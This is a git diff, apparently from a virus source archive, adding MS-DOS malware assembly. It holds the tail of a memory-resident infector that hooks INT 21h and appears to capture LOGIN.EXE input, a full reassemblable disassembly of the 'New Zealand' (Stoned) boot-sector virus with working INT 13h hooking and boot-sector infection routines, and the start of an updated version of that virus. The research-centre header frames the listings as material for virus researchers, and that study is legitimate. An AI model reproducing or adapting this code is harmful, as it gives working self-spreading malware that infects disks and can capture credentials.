; (8002:0032=0) Load 32 bit ptr + call sub_7 ; (0229) + pop ds +data_43 dw 168Ah + db 5Dh, 0, 0B8h, 1, 33h, 0E8h + db 57h, 0FBh, 58h, 5Bh, 59h, 5Ah + db 7, 5Dh, 0F9h, 0C3h + +; ------------------------------------------------------------------------ +; Start samotneho vira +; ------------------------------------------------------------------------ +start_virus: call start_virus_ ;Push offset start_virus_ +start_virus_: pop bx + sub bx,start_virus_-run ;BX = offset run + mov byte ptr cs:[bx+data_34e],0FFh ;(8002:005C=0) + cld + cmp byte ptr cs:[bx+data_33e],0 ;(8002:005B=0) + je loc_42 + mov si,old_bytes-run + add si,bx ;SI = off old_bytes + mov di,offset start + mov cx,20h ;Length backup ... + rep movsb ;Restore original program + + push cs + mov cx,100h + push cx ;Push CS:0100h + push es ;Backup ES,DS,AX + push ds + push ax + jmp short obskok_1 + +loc_42: mov dx,ds + add dx,10h + add dx,cs:data_20e ;(8002:0020=0) + push dx + push word ptr cs:data_19e ;(8002:001E=0) + push es + push ds + push ax + +obskok_1: push bx ;Backup BX (offset run) + clc ;Clear carry flag + mov ax,0C603h ;Neexistujuca funkcia DOS + int 21h ;Test pritomnosti v RAM + pop bx ;Restore offset run + jnc install ;Install virus if not allow + cmp ax,1 + ja vir_in_memory ;Jump if virus in memory + call sub_19 + +vir_in_memory: pop ax ;Restore AX,DS,ES + pop ds + pop es + retf ;Jump to original prog.(100h) + +install: cmp byte ptr cs:[bx+data_33e],0 ;(8002:005B=0) + je loc_43 ;Jump if equal + cmp sp,0FFF0h + jb vir_in_memory + +loc_43: mov ax,ds ;Set ES to MCB + dec ax + mov es,ax + cmp byte ptr es:MCB_type,'Z' ;This memory block is last ? + je loc_45 + push bx ;Backup offset run + mov ah,48h + mov bx,0FFFFh ;Maximum + int 21h ;Test available memory block + + cmp bx,0CFh ;Je aspon kusok volneho ? + jb loc_44 + mov ah,48h ;Zaalokuj vsetko co je k disp. + int 21h + +loc_44: pop bx ;Restore offset RUN + jc vir_in_memory ;Let it be if not enought mem. + + dec ax ;Decr. segment adress mem block + mov es,ax ;ES - MCB for allocated block + cli + mov word ptr es:MCB_owner,0 ;Nastav vlastnika bloku na 0 + cmp byte ptr es:MCB_type,'Z';Last memory block ? + jne vir_in_memory + + add ax,es:MCB_size + inc ax + mov es:data_3e,ax ;0012 + +loc_45: mov ax,es:MCB_size ;AX - size of memory block + sub ax,0CFh ; - virus size + jc vir_in_memory ;Jump if error size + + mov es:MCB_size,ax ;Set new value + sub word ptr es:data_3e,0CFh ;0012 ?????? + mov es,es:data_3e ;0012 + xor di,di + mov si,bx ;CS:SI = RUN, ES:DI =new block + mov cx,0BE5h ;CX = virus length + rep movs byte ptr es:[di],cs:[si] ;Copy virus to new block + push es + pop ds ;DS - new segment + push bx ;Backup RUN + mov ax,3521h + int 21h ;ES:BX = getinterupt (21h) + + mov word ptr ds:old_21+2,es ;Backup + mov ds:old_21,bx + mov ds:data_23e,es ;0030 + mov ds:data_22e,bx ;002E + mov ax,351Ch + int 21h ;ES:BX = geninterrupt (1Ch) + + mov word ptr ds:old_1c+2,es ;Backup + mov ds:old_1c,bx + pop bx ;Restore offset RUN + mov ax,2521h + mov dx,0EAh ;New + int 21h ;Redefine DOS interrupt + + mov dx,7Fh ;New + pushf + mov ax,bx + add ax,vir_in_memory-run + push cs ;Push far adr. vir_in_memory + push ax + cli + + pushf ;Push flag + pop ax ;Pop flag + or ax,100h ;Clear Trace flag (No step) + push ax ;Push modif. flag + + mov ax,bx ;Offset RUN + add ax,loc_iret-run + push cs ;Push loc_iret far adress + push ax + mov ax,251Ch ;Set parameters for DOS int. + mov byte ptr ds:data_30e,1 ;0056 + iret ;Jmp to loc_iret + +;------------------------------------------------------------------------- +; SUBROUTINE +;------------------------------------------------------------------------- +sub_11: mov cx,50h + mov si,dx + cld ;Clear direction + xor ax,ax ;Zero register + mov cs:data_56,ax ;(8002:0C12=0) + +locloop_46: + inc cs:data_56 ;(8002:0C12=0) + lodsb ;String [si] to al + or al,al ;Zero ? + loopnz locloop_46 ;Loop if zf=0, cx>0 + + dec cs:data_56 ;(8002:0C12=0) + mov si,dx + sub cs:data_56,9 ;(8002:0C12=0) + add si,cs:data_56 ;(8002:0C12=0) + mov di,978h + push cs + pop es + mov cx,9 + cld ;Clear direction + repe cmpsb ;Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_47 ;Jump if zero + jmp short loc_51 ;(086C) + db 90h +loc_47: + mov ah,62h ;'b' + call sub_7 ;(0229) + mov ds,bx + mov si,80h + cld ;Clear direction + lodsb ;String [si] to al + cmp al,1 + ja loc_48 ;Jump if above + mov byte ptr cs:data_58,1 ;(8002:0C16=0) + nop + jmp short loc_51 ;(086C) + db 90h +loc_48: + mov byte ptr cs:data_58,0 ;(8002:0C16=0) + nop + push cs + pop es + mov ds,bx + mov cx,0Fh + mov si,82h + mov di,0BE6h + cld ;Clear direction + +locloop_49: + lodsb ;String [si] to al + cmp al,61h ;'a' + jb loc_50 ;Jump if below + and al,0DFh +loc_50: + add al,62h ;'b' + stosb ;Store al to es:[di] + cmp al,6Fh ;'o' + loopnz locloop_49 ;Loop if zf=0, cx>0 + + mov al,6Fh ;'o' + stosb ;Store al to es:[di] + mov byte ptr cs:data_58,2 ;(8002:0C16=0) + nop +loc_51: + mov cs:data_56,0 ;(8002:0C12=0) + retn + +DOS_input_: pushf ;Push flags + push cs + call sub_12 + push ax + push ds + push si + push di + push es + mov ah,cs:data_58 ;(8002:0C16=0) + cmp ah,0 + je loc_54 + cmp ah,1 + je loc_53 + mov di,0BF6h + call sub_13 + jnz loc_54 ;Jump if not zero + mov byte ptr cs:data_58,0 ;(8002:0C16=0) + nop + mov byte ptr cs:data_59,1 ;(8002:0C17=0) + nop + jmp short loc_54 + nop + +loc_53: mov di,0BE6h + call sub_13 ;(08C8) + jnz loc_54 ;Jump if not zero + mov byte ptr cs:data_58,2 ;(8002:0C16=0) + nop + mov cs:data_56,0 ;(8002:0C12=0) + +loc_54: pop es + pop di + pop si + pop ds + pop ax + popf ;Pop flags + iret ;Interrupt return + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_12: jmp dword ptr cs:data_22e ;(8002:002E=0) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_13: add di,cs:data_56 ;(8002:0C12=0) + cmp al,8 + jne loc_55 ;Jump if not equal + cmp cs:data_56,0 ;(8002:0C12=0) + je loc_57 ;Jump if equal + dec cs:data_56 ;(8002:0C12=0) + jmp short loc_57 ;(0906) + db 90h +loc_55: + cmp al,61h ;'a' + jb loc_56 ;Jump if below + and al,0DFh +loc_56: + push cs + pop es + inc cs:data_56 ;(8002:0C12=0) + cmp cs:data_56,10h ;(8002:0C12=0) + jne loc_57 ;Jump if not equal + dec cs:data_56 ;(8002:0C12=0) + cmp al,0Dh + jne loc_57 ;Jump if not equal + mov cs:data_56,0 ;(8002:0C12=0) +loc_57: + add al,62h ;'b' + stosb ;Store al to es:[di] + cmp al,6Fh ;'o' + retn + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_14: mov al,2 + mov cx,0FFFFh + mov dx,0FFFCh + call sub_5 ;(0222) + push cs + pop ds + mov dx,0 + mov cx,2 + call sub_3 ;(0216) + mov ax,ds:data_4e ;(8002:0000=0) + cmp ax,6262h + jne loc_61 ;Jump if not equal + mov cx,10h + +locloop_58: + push cx + mov ax,26h + dec cx + mul cx ;dx:ax = reg * ax + mov dx,0FD9Ch + add dx,ax + mov al,2 + mov cx,0FFFFh + call sub_5 ;(0222) + mov dx,0BE6h + mov cx,26h + call sub_3 ;(0216) + jc loc_60 ;Jump if carry Set + cmp byte ptr data_48,82h ;(8002:0BE6=0) + jb loc_59 ;Jump if below + call sub_15 ;(0979) +loc_59: + pop cx + loop locloop_58 ;Loop if cx > 0 + + jmp short loc_60 ;(095C) + db 90h +loc_60: + mov al,2 + mov cx,0FFFFh + mov dx,0FD9Ch + call sub_5 ;(0222) + mov dx,981h + mov cx,263h + nop + call sub_2 ;(0212) +loc_61: + mov cs:data_56,0 ;(8002:0C12=0) + retn + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_15: call sub_17 ;(0A7A) + cmp cs:data_56,0Fh ;(8002:0C12=0) + je loc_64 ;Jump if equal + mov si,981h + mov ax,26h + mul cs:data_56 ;(8002:0C12=0) ax = data * ax + add si,ax + mov ax,cs:data_50 ;(8002:0C06=0) + cmp cs:data_20e[si],ax ;(8002:0020=0) + nop + jc loc_62 ;Jump if carry Set + mov ax,cs:data_51 ;(8002:0C08=0) + cmp cs:[si+22h],ax + nop + jc loc_62 ;Jump if carry Set + mov ax,cs:data_52 ;(8002:0C0A=0) + cmp cs:[si+24h],ax + nop + ja loc_ret_63 ;Jump if above +loc_62: + call sub_18 ;(0AB0) + +loc_ret_63: + retn +loc_64: + mov cs:data_57,0Fh ;(8002:0C14=0) + mov cs:data_53,0 ;(8002:0C0C=0) + mov cs:data_54,0 ;(8002:0C0E=0) + mov cs:data_55,0 ;(8002:0C10=0) +loc_65: + dec cs:data_57 ;(8002:0C14=0) + jz loc_62 ;Jump if zero + mov si,981h + mov ax,26h + mul cs:data_57 ;(8002:0C14=0) ax = data * ax + add ax,26h + add si,ax + mov ax,cs:data_20e[si] ;(8002:0020=0) + or ax,ax ;Zero ? + jz loc_67 ;Jump if zero + cmp cs:data_53,ax ;(8002:0C0C=0) + ja loc_66 ;Jump if above + mov ax,cs:data_51 ;(8002:0C08=0) + cmp cs:[si+22h],ax + nop + jc loc_66 ;Jump if carry Set + mov ax,cs:data_52 ;(8002:0C0A=0) + cmp cs:[si+24h],ax + nop + ja loc_65 ;Jump if above +loc_66: + mov ax,cs:data_57 ;(8002:0C14=0) + inc ax + mov cs:data_56,ax ;(8002:0C12=0) + mov ax,cs:data_20e[si] ;(8002:0020=0) + mov cs:data_53,ax ;(8002:0C0C=0) + mov ax,cs:[si+22h] + mov cs:data_54,ax ;(8002:0C0E=0) + mov ax,cs:[si+24h] + mov cs:data_55,ax ;(8002:0C10=0) + jmp short loc_65 ;(09D2) +loc_67: + dec cs:data_57 ;(8002:0C14=0) + jnz loc_68 ;Jump if not zero + jmp loc_62 ;(09B2) +loc_68: + mov si,981h + mov ax,26h + mul cs:data_57 ;(8002:0C14=0) ax = data * ax + add ax,26h + add si,ax + mov ax,cs:data_20e[si] ;(8002:0020=0) + or ax,ax ;Zero ? + jz loc_67 ;Jump if zero + mov ax,cs:data_57 ;(8002:0C14=0) + inc ax + inc ax + mov cs:data_56,ax ;(8002:0C12=0) + jmp loc_62 ;(09B2) + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +sub_16: mov ah,2Ah ;'*' + call sub_7 ;(0229) + mov cs:data_50,cx ;(8002:0C06=0) + mov cs:data_51,dx ;(8002:0C08=0) + mov ah,2Ch ;',' + call sub_7 ;(0229) + mov cs:data_52,cx ;(8002:0C0A=0) + retn + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +sub_17: push cs + pop ax + mov es,ax + mov ds,ax + mov cs:data_56,0 ;(8002:0C12=0) +loc_69: + mov di,981h + mov ax,26h + mul cs:data_56 ;(8002:0C12=0) ax = data * ax + add di,ax + mov si,0BE6h +loc_70: + mov al,[si] + cld ;Clear direction + cmpsb ;Cmp [si] to es:[di] + jnz loc_71 ;Jump if not zero + cmp al,6Fh ;'o' + jne loc_70 ;Jump if not equal + retn +loc_71: + inc cs:data_56 ;(8002:0C12=0) + cmp cs:data_56,0Fh ;(8002:0C12=0) + jne loc_69 ;Jump if not equal + retn + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +sub_18: mov ax,cs:data_56 ;(8002:0C12=0) + or ax,ax ;Zero ? + jz loc_73 ;Jump if zero + mov ax,26h + mul cs:data_56 ;(8002:0C12=0) ax = data * ax + mov cx,ax + add ax,9A7h + dec ax + mov di,ax + sub ax,26h + mov si,ax + std ;Set direction flag + rep movsb ;Rep when cx >0 Mov [si] to es:[di] + mov si,0BE6h + mov di,9A7h + mov cx,26h +loc_72: + cld ;Clear direction + rep movsb ;Rep when cx >0 Mov [si] to es:[di] + retn +loc_73: + mov si,0BF6h + mov di,991h + mov cx,16h + jmp short loc_72 ;(0AD9) + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +sub_19: push cs + pop ds + mov si,6Ah + add si,bx + mov di,6Ah + mov cx,0B7Bh + rep movsb ;Rep when cx >0 Mov [si] to es:[di] + retn + + db 'LOGIN.EXE' + db 0B5h, 0B7h, 0B2h, 0A7h, 0B4h, 0B8h + db 0ABh, 0B5h, 0B1h, 0B4h, 6Fh, 0 + db 0, 0, 0, 0, 6Fh, 0A7h + db 0B5h, 0AEh, 0B1h + db 6Fh + db 10 dup (0) + db 0C7h, 7, 0Ah, 0Ch, 0Bh, 8 + db 32 dup (0) + db 0C7h, 7, 0Bh, 9, 35h, 6 + db 'and', 0Dh, 0Ah, '$' + db 0Dh, 0Ah, 'Insufficoent memory fo' + db 'r ' + db 0C7h, 7, 11h, 6, 0, 0Eh + db 0, 0 + db 112 dup (0) +timer_count db 0 +data_48 db 0 + db 15 dup (0) +data_49 db 0 + db 15 dup (0) +data_50 dw 0 +data_51 dw 0 +data_52 dw 0 +data_53 dw 0 +data_54 dw 0 +data_55 dw 0 +data_56 dw 0 +data_57 dw 0 +data_58 db 0 +data_59 db 0 + db 329 dup (0) + db 62h, 62h, 1, 0 + +newcom ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.newzland.asm b/MSDOS/Virus.MSDOS.Unknown.newzland.asm new file mode 100644 index 00000000..305b75f5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.newzland.asm @@ -0,0 +1,288 @@ + page 65,132 + title The 'New Zealand' Virus +; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +; º British Computer Virus Research Centre º +; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º +; º Telephone: Domestic 0273-26105, International +44-273-26105 º +; º º +; º The 'New Zealand' Virus º +; º Disassembled by Joe Hirst, November 1988 º +; º º +; º Copyright (c) Joe Hirst 1988, 1989. º +; º º +; º This listing is only to be made available to virus researchers º +; º or software writers on a need-to-know basis. º +; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + ; The virus consists of a boot sector only. The original boot sector + ; is kept at track zero, head one, sector three on a floppy disk, or + ; track zero, head zero, sector two on a hard disk. + + ; The disassembly has been tested by re-assembly using MASM 5.0. + + ; The program requires an origin address of 7C00H, as it is designed + ; to load and run as a boot sector. + +RAM SEGMENT AT 0 + + ; System data + + ORG 4CH +BW004C DW ? ; Interrupt 19 (13H) offset +BW004E DW ? ; Interrupt 19 (13H) segment + ORG 413H +BW0413 DW ? ; Total RAM size + ORG 440H +BB0440 DB ? ; Motor timeout counter + ORG 46CH +BB046C DB ? ; System clock + + ORG 7C0AH +I13_OF DW ? +I13_SG DW ? +HICOOF DW ? +HICOSG DW ? ; High core segment + +RAM ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:RAM + +START: DB 0EAH ; Far jump to next byte + DW BP0010, 07C0H + +BP0010: JMP BP0110 + +DRIVEN DB 0 ; Drive number (A=0, B=1, C=2) +DUMMY DB 0 + +; Original Int 13H address + +INT_13 EQU THIS DWORD + DW 0 + DW 0 + +; Branch address in high core + +HIGHCO EQU THIS DWORD + DW BP0120 + DW 0 + +; Boot sector processing address + +BOOTST EQU THIS DWORD + DW 07C00H + DW 0 + +; Interrupt 13H disk I/O routine + +BP0020: PUSH DS + PUSH AX + CMP AH,2 ; Sub-function 2 + JB BP0030 ; Pass on if below + CMP AH,4 ; Sub-function 4 + JNB BP0030 ; Pass on if not below + CMP DL,0 ; Is drive A + JNE BP0030 ; Pass on if not + XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + MOV AL,BB0440 ; Get motor timeout counter + OR AL,AL ; Test for zero + JNE BP0030 ; Branch if not + CALL BP0040 ; Call infection routine +BP0030: POP AX + POP DS + JMP INT_13 ; Pass control to Int 13H + +; Infection routine + +BP0040: PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH SI + PUSH DI + MOV SI,4 ; Retry count +BP0050: MOV AX,201H ; Read one sector + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV BX,200H ; Boot sector buffer + MOV CX,1 ; Track zero, sector 1 + XOR DX,DX ; Head zero, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JNB BP0060 ; Branch if no error + XOR AX,AX ; Reset disk sub-system + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + DEC SI ; Decrement retry count + JNE BP0050 ; Retry + JMP BP0080 ; No more retries + +BP0060: XOR SI,SI ; Start of program + MOV DI,200H ; Boot sector buffer + MOV AX,ES:[SI] ; Get first word + CMP AX,ES:[DI] ; Test if same + JNE BP0070 ; Install if not + MOV AX,ES:[SI+2] ; Get second word + CMP AX,ES:[DI+2] ; Test if same + JNE BP0070 ; Install if not + JMP BP0080 ; Pass on + +BP0070: MOV AX,301H ; Write one sector + MOV BX,200H ; Boot sector buffer + MOV CX,3 ; Track zero, sector 3 + MOV DX,100H ; Head 1, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JB BP0080 ; Branch if error + MOV AX,301H ; Write one sector + XOR BX,BX ; This sector + MOV CL,1 ; Track zero, sector 1 + XOR DX,DX ; Head zero, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H +BP0080: POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + +; Display message + +BP0090: MOV AL,CS:[BX] ; Get next message byte + INC BX ; Update pointer + CMP AL,0 ; Test for end of message + JNE BP0100 ; Branch to display + RET + +BP0100: PUSH AX + PUSH BX + MOV AH,0EH ; Write TTY mode + MOV BH,0 + INT 10H ; VDU I/O + POP BX + POP AX + JMP SHORT BP0090 ; Process next byte + +; Install in high core + +BP0110: XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + CLI + MOV SS,AX ; \ Set stack to boot sector area + MOV SP,7C00H ; / + STI + MOV AX,BW004C ; Get Int 13H offset + MOV I13_OF,AX ; Store in jump offset + MOV AX,BW004E ; Get Int 13H segment + MOV I13_SG,AX ; Store in jump segment + MOV AX,BW0413 ; Get total RAM size + DEC AX ; \ Subtract 2k + DEC AX ; / + MOV BW0413,AX ; Replace total RAM size + MOV CL,6 ; Bits to move + SHL AX,CL ; Convert to Segment + MOV ES,AX ; Set ES to segment + MOV HICOSG,AX ; Move segment to jump address + MOV AX,OFFSET BP0020 ; Get Int 13H routine address + MOV BW004C,AX ; Set new Int 13H offset + MOV BW004E,ES ; Set new Int 13H segment + MOV CX,OFFSET ENDADR ; Load length of program + PUSH CS ; \ Set DS to CS + POP DS ; / + XOR SI,SI ; \ Set pointers to zero + MOV DI,SI ; / + CLD + REPZ MOVSB ; Copy program to high core + JMP HIGHCO ; Branch to next instruc in high core + +; Continue processing in high core + +BP0120: MOV AX,0 ; Reset disk sub-system + INT 13H ; Disk I/O + XOR AX,AX ; \ Segment zero + MOV ES,AX ; / + ASSUME DS:NOTHING,ES:RAM + MOV AX,201H ; Read one sector + MOV BX,7C00H ; Boot sector buffer address + CMP DRIVEN,0 ; Test drive is A + JE BP0130 ; Branch if yes + MOV CX,2 ; Track zero, sector 2 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP BP0150 ; Pass control to boot sector + +; Floppy disk + +BP0130: MOV CX,3 ; Track zero, sector 3 + MOV DX,100H ; Side one, drive A + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + TEST BB046C,7 ; Test low byte of time + JNZ BP0140 ; Branch if not 7 + MOV BX,OFFSET MESSAGE ; Load message address + CALL BP0090 ; Display message +BP0140: PUSH CS ; \ Set ES to CS + POP ES ; / + MOV AX,201H ; Read one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CX,1 ; Track zero, sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV SI,200H ; C-disk boot sector buffer + MOV DI,0 ; Start of program + MOV AX,[SI] ; Get first word + CMP AX,[DI] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different + MOV AX,[SI+2] ; Get second word + CMP AX,[DI+2] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different +BP0150: MOV DRIVEN,0 ; Drive A + MOV DUMMY,0 + JMP BOOTST ; Pass control to boot sector + +; Install on C-disk + +BP0160: MOV DRIVEN,2 ; Drive C + MOV DUMMY,0 + MOV AX,301H ; Write one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CX,2 ; Track zero, sector 2 + MOV DX,80H ; side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV SI,OFFSET ENDADR+200H ; Target offset + MOV DI,OFFSET ENDADR ; Source offset + MOV CX,OFFSET 400H-ENDADR ; Length to move + REPZ MOVSB ; Copy C-disk boot sector + MOV AX,301H ; Write one sector + MOV BX,0 ; Write this sector + MOV CX,1 ; Track zero, sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP SHORT BP0150 ; Pass control to boot sector + +MESSAGE DB 7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0 + DB 'LEGALISE MARIJUANA!' + +ENDADR EQU $-1 + +CODE ENDS + + END START + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/MSDOS/Virus.MSDOS.Unknown.newzlnd2.asm b/MSDOS/Virus.MSDOS.Unknown.newzlnd2.asm new file mode 100644 index 00000000..d0fa2cdc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.newzlnd2.asm @@ -0,0 +1,280 @@ + page 65,132 + title The 'New Zealand' Virus (Update) +; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +; º British Computer Virus Research Centre º +; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º +; º Telephone: Domestic 0273-26105, International +44-273-26105 º +; º º +; º The 'New Zealand' Virus (Update) º +; º Disassembled by Joe Hirst, March 1989 º +; º º +; º Copyright (c) Joe Hirst 1989. º +; º º +; º This listing is only to be made available to virus researchers º +; º or software writers on a need-to-know basis. º +; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + ; This disassembly is derived from an inconsistently updated + ; assembler version which arrived in this country with the original + ; executable program. + + ; The virus consists of a boot sector only. The original boot sector + ; is kept at track zero, head one, sector three on a floppy disk, or + ; track zero, head zero, sector seven on a hard disk. + + ; The program requires an origin address of 7C00H, as it is designed + ; to load and run as a boot sector. + +RAM SEGMENT AT 0 + + ; System data + + ORG 4CH +BW004C DW ? ; Interrupt 19 (13H) offset +BW004E DW ? ; Interrupt 19 (13H) segment + ORG 413H +BW0413 DW ? ; Total RAM size + ORG 43FH +BB043F DB ? ; Drive Motor Flag + ORG 46CH +BB046C DB ? ; System clock + + ORG 7C0AH +I13_OF DW ? +I13_SG DW ? +HICOOF DW ? +HICOSG DW ? ; High core segment + +RAM ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:RAM + +START: DB 0EAH ; Far jump to next byte + DW BP0010, 07C0H + +BP0010: JMP BP0110 + +DRIVEN DB 0 ; Drive number (A=0, B=1, C=2) + +; Original Int 13H address + +INT_13 EQU THIS DWORD + DW ? + DW ? + +; Branch address in high core + +HIGHCO EQU THIS DWORD + DW BP0120 + DW 0 + +; Boot sector processing address + +BOOTST EQU THIS DWORD + DW 07C00H + DW 0 + +; Interrupt 13H disk I/O routine + +BP0020: PUSH DS + PUSH AX + CMP AH,2 ; Sub-function 2 + JB BP0030 ; Pass on if below + CMP AH,4 ; Sub-function 4 + JNB BP0030 ; Pass on if not below + OR DL,DL ; Is drive A + JNZ BP0030 ; Pass on if not + XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + MOV AL,BB043F ; Get motor timeout counter + TEST AL,1 ; Is drive zero running + JNZ BP0030 ; Branch if not + CALL BP0040 ; Call infection routine +BP0030: POP AX + POP DS + JMP INT_13 ; Pass control to Int 13H + +; Infection routine + +BP0040: PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH SI + PUSH DI + MOV SI,4 ; Retry count +BP0050: MOV AX,201H ; Read one sector + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV BX,200H ; Boot sector buffer + XOR CX,CX ; Clear register + MOV DX,CX ; Head zero, drive A + INC CX ; Track zero, sector 1 + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JNB BP0060 ; Branch if no error + XOR AX,AX ; Reset disk sub-system + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + DEC SI ; Decrement retry count + JNZ BP0050 ; Retry + 